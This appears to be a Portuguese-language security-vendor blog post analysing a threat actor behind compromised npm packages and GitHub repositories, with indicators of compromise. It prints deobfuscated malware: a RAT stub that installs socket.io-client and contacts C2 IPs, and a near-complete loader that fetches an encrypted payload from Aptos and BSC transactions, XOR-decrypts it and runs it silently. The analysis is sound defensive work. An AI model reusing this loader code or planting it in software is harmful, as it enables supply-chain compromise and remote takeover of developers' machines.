Aikido

Um olhar mais aprofundado sobre o ator da ameaça por trás do ataque react-native-aria

Escrito por
Charlie Eriksen

Você deve ter visto a história recente sobre um grupo de atores de ameaça comprometendo 16 pacotes populares relacionados a React Native Aria e GlueStack, que descobrimos e documentamos aqui. Anteriormente, detectamos que eles comprometeram o pacote rand-user-agent em 5 de maio de 2025, conforme relatado aqui

Desde então, temos rastreado esse ator de ameaça e observado ataques menores que ainda não documentamos publicamente. No entanto, queríamos compilá-los para fornecer uma visão mais ampla de suas atividades. 

Pacotes maliciosos iniciais

Em 8 de maio de 2025, nossos sistemas já haviam nos alertado sobre dois novos pacotes no npm que pareciam ser maliciosos. São eles:

Ambos foram carregados pelo mesmo usuário, aminengineerings, registrado com o e-mail aminengineerings@gmail[.]com. Desde as primeiras versões, ambos continham o payload malicioso, indicando que este pacote pertence aos próprios atores de ameaça.

Mais pacotes maliciosos

Também vimos dois pacotes adicionais lançados pelo atacante após o ataque ao gluestack. Os pacotes foram lançados em 8 de junho de 2025, sob os nomes tailwindcss-animate-expand e mongoose-lit. Estes foram lançados por um usuário chamado mattfarser. O usuário foi rapidamente excluído depois.

Especificamente, o pacote tailwindcss-animate-expand pacote é digno de nota, pois possui uma estrutura de payload diferente. A primeira parte dele se parece com isto:

global['r']=require;(function(){var Afr='',xzH=906-895;...

Não vemos mais a global[‘_V’] variável sendo definida. Quando executamos isso em um sandbox, vemos que o payload final também é ligeiramente diferente. O payload se parece com isto após a desobfuscação:

global._V = 'A4';
(async () => {
  try {
    const c = global.r || require;
    const d = global._V || '0';
    const f = c('os');
    const g = c("path");
    const h = c('fs');
    const i = c('child_process');
    const j = c('crypto');
    const k = f.platform();
    const l = k.startsWith("win");
    const m = f.hostname();
    const n = f.userInfo().username;
    const o = f.type();
    const p = f.release();
    const q = o + " " + p;
    const r = process.execPath;
    const s = process.version;
    const u = new Date().toISOString();
    const v = process.cwd();
    const w = typeof __filename === "undefined" || __filename !== "[eval]";
    const x = typeof __dirname === 'undefined' ? v : __dirname;
    const y = g.join(f.homedir(), ".node_modules");
    if (typeof module === "object") {
      module.paths.push(g.join(y, "node_modules"));
    } else {
      if (global._module) {
        global._module.paths.push(g.join(y, "node_modules"));
      } else {
        if (global.m) {
          global.m.paths.push(g.join(y, 'node_modules'));
        }
      }
    }
    async function z(V, W) {
      return new global.Promise((X, Y) => {
        i.exec(V, W, (Z, a0, a1) => {
          if (Z) {
            Y("Error: " + Z.message);
            return;
          }
          if (a1) {
            Y("Stderr: " + a1);
            return;
          }
          X(a0);
        });
      });
    }
    function A(V) {
      try {
        c.resolve(V);
        return true;
      } catch (W) {
        return false;
      }
    }
    const B = A("axios");
    const C = A("socket.io-client");
    if (!B || !C) {
      try {
        const V = {
          "stdio": "inherit",
          windowsHide: true
        };
        const W = {
          "stdio": "inherit",
          "windowsHide": true
        };
        if (B) {
          await z("npm --prefix \"" + y + "\" install socket.io-client", V);
        } else {
          await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
        }
      } catch (X) {}
    }
    const D = c("axios");
    const E = c("form-data");
    const F = c("socket.io-client");
    let G;
    let H;
    let I = {};
    const J = d.startsWith('A4') ? "http://136.0.9.8:3306" : "http://166.88.4.2:443";
    const K = d.startsWith('A4') ? "http://136.0.9.8:27017" : "http://166.88.4.2:27017";
...

O que é especialmente interessante é que vemos que a versão é A4, que foi referenciada no ataque durante o fim de semana como um sinal para usar o novo servidor C2.

Também observamos que o servidor C2 “antigo” não é mais mencionado. Em vez disso, eles adicionaram o IP 166.88.4[.]2.

Sinais de alerta

Antes deste ataque, havíamos notado alguns pacotes pequenos sendo comprometidos. Aqui estão os pacotes que notamos:

Pacote Versão Data de Lançamento
@lfwfinance/sdk 1.3.5 3 de junho de 2025
@lfwfinance/sdk-dev 2.0.10 3 de junho de 2025
algorand-htlc 1.0.2 3 de junho de 2025
avm-satoshi-dice 1.0.6 3 de junho de 2025
biatec-avm-gas-station 1.1.2 3 de junho de 2025
arc200-client 1.0.7 3 de junho de 2025
cputil-node 0.6.6 3 de junho de 2025

Esses pacotes pertencem a três indivíduos diferentes e têm menos de 100 downloads por semana. Parece que esses atores de ameaça são consistentemente capazes de comprometer os tokens de contas npm. 

Repositórios GitHub comprometidos 

À medida que investigamos esses ataques mais a fundo, decidimos examinar outros ecossistemas em busca de evidências que pudessem fornecer mais informações sobre como esses atores de ameaça operam. Conseguimos detectar 19 repositórios no GitHub que os mesmos atores de ameaça comprometeram:

Repositório Data Commit
LZeroAnalytics / ethereum-faucet 04 jun 2025 23ea1dd
LZeroAnalytics / hardhat-vrf-contracts 04 jun 2025 f325ab6
DogukanGun / TurkClub 23 de Maio de 2025 84aaa06
khaliduddin / numbers-game 19 Mai 2025 36f20cb
DogukanGun / NexWallet 16 Mai 2025 43193c5
DogukanGun / NexAI 14 Mai 2025 74d5221
revoks / round-feather-1f9f 01 de Maio de 2025 ca05542
LLM-Red-Team / glm-free-api 28 Abr 2025 16a0bfc
LLM-Red-Team / deepseek-free-api 08 Abr 2025 37f4c58
DogukanGun / pipeline-templates 02 de Abr de 2025 699eb16
mobileteamz / Landhsoft-Frontend 29 Mar 2025 e3636c9
UnderGod-dev / portfolio 29 Mar 2025 87f8add
DogukanGun / PopScope 26 Mar 2025 1775087
DogukanGun / NexAgent 23 Mar 2025 7ff7afa
Sid31 / front-buy-free 28 Fev 2025 ce93a20
DogukanGun / supabase 12 Jan 2025 71e169b
LLM-Red-Team / kimi-free-api 17 Dez 2024 2e6397c
LLM-Red-Team / doubao-free-api 13 Dez 2024 b0ce4e9
LLM-Red-Team / qwen-free-api 13 Dez 2024 d8046bf

Há alguns commits que se destacam nestes, por exemplo:

https://github.com/LZeroAnalytics/hardhat-vrf-contracts/commit/f325ab694ff83e12c96a99a58d51635e70edcdbf

O ator da ameaça alterou ligeiramente o payload que utiliza. Neste caso, eles codificaram em base64 um payload, que eles passam para eval(). Aqui está o payload decodificado, anotado com comentários que descrevem sua funcionalidade.

/*****************************************************************************************
 *  Malware “loader” that hides its real payload on two block-chains.                    *
 *  Flow ⬇️                                                                             *
 *    🥇  Step-1  Read pointer on Aptos                                                 *
 *    🥈  Step-2  Use pointer on Binance Smart Chain (BSC)                              *
 *    🥉  Step-3  Pull out hidden blob                                                 *
 *    🗝️  Step-4  Decode & decrypt                                                    *
 *    🚀  Step-5  Run it silently                                                      *
 *****************************************************************************************/

/* ─────────────────────────────  Bootstrap  ───────────────────────────── */
global['r'] = require;                 // save `require` as global.r (little obfuscation)
(async () => {

  /* quick aliases */
  const c = global;                    // shorthand for `global`
  const i = c['r'];                    // shorthand for `require`

  /* 🛠 Helper 1: GET url → JSON  */
  async function e (url) {
    return new Promise((resolve, reject) => {
      i('https')
        .get(url, res => {
          let body = '';
          res.on('data', chunk => (body += chunk));
          res.on('end', () => {
            try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
          });
        })
        .on('error', reject)
        .end();
    });
  }

  /* 🛠 Helper 2: call BSC JSON-RPC  */
  async function o (method, params = []) {
    return new Promise((resolve, reject) => {
      const payload = JSON.stringify({ jsonrpc: '2.0', method, params, id: 1 });
      const opts    = { hostname: 'bsc-dataseed.binance.org', method: 'POST' };

      const req = i('https')
        .request(opts, res => {
          let body = '';
          res.on('data', chunk => (body += chunk));
          res.on('end', () => {
            try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
          });
        })
        .on('error', reject);

      req.write(payload);
      req.end();
    });
  }

  /* ─────────── Core routine that implements 🥇 → 🗝️ steps ─────────── */
  async function t (aptosAccount) {

    /* 🥇  STEP-1  Read pointer on Aptos */
    const latestTx  = await e(
      `https://fullnode.mainnet.aptoslabs.com/v1/accounts/${aptosAccount}/transactions?limit=1`
    );
    const bscHash   = latestTx[0].payload.arguments[0];   // pointer → BSC tx-hash

    /* 🥈  STEP-2  Fetch BSC transaction carrying the payload */
    const bscTx     = await o('eth_getTransactionByHash', [bscHash]);
    const hexBlob   = bscTx.result.input.slice(2);        // drop "0x"

    /* 🥉  STEP-3  Pull out hidden blob (still unreadable) */
    const rawText   = Buffer.from(hexBlob, 'hex').toString('utf8');
    const b64Chunk  = rawText.split('..')[1];             // keep part after ".."

    /* 🗝️  STEP-4  Decode & decrypt */
    const encrypted = atob(b64Chunk);                     // Base-64 → binary string
    const KEY       = '$v$5;kmc$ldm*5SA';
    let  payload    = '';

    for (let j = 0; j < encrypted.length; j++) {
      payload += String.fromCharCode(
        encrypted.charCodeAt(j) ^ KEY.charCodeAt(j % KEY.length)
      );
    }
    return payload;                                      // plain-text JS to execute
  }

  /* 🚀  STEP-5  Run it silently in the background */
  try {
    const script = await t(
      '0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d'
    );

    i('child_process')
      .spawn(
        'node',
        ['-e', `global['_V']='${c['_V'] || 0}';${script}`],
        { detached: true, stdio: 'ignore', windowsHide: true }
      )
      .on('error', () => { /* swallow child errors */ });

  } catch (err) {
    /* stay quiet on any failure */
  }

})();       

Este código é engenhoso, pois ele se auto-inicializa parcialmente a partir do conteúdo de duas blockchains diferentes. Aqui está uma visão geral passo a passo:

A transação na Binance Smart Chain pode ser encontrada abaixo. Vale ressaltar que a carteira e o contrato existem desde 7 de fevereiro de 2025: 

https://bscscan.com/tx/0x5b28b2aa49bae766099aab7c74956d17c305079d9d3575256d3a72c310079c37

Executamos o código em um sandbox e obtivemos o payload final, que era o mesmo payload que já havíamos documentado antes, sem alterações significativas. 

Conclusões

Observamos que o ator da ameaça está comprometendo ativamente e consistentemente não apenas pacotes npm, mas também repositórios GitHub. Além disso, eles têm experimentado implantar seus próprios pacotes com seu RAT. Eles também começaram a usar Blockchains como um método para distribuir seu código malicioso. 

Indicadores de comprometimento

Pacotes

  • solanautil
  • web3-socketio
  • tailwindcss-animate-expand
  • mongoose-lite
  • @lfwfinance/sdk
  • @lfwfinance/sdk-dev
  • algorand-htlc
  • avm-satoshi-dice
  • biatec-avm-gas-station
  • arc200-client
  • cputil-node

IPs

  • 166.88.4[.]2
  • 136.0.9[.]8

Conta Aptos

  • 0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d

Endereço BSC

  • 0x9BC1355344B54DEDf3E44296916eD15653844509

Contrato BSC

  • 0x8EaC3198dD72f3e07108c4C7CFf43108AD48A71c

Compartilhar:

https://www.aikido.dev/blog/react-native-aria-attack

Assine para receber notícias sobre ameaças.

Comece hoje, gratuitamente.

Comece Gratuitamente
Não é necessário cc

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.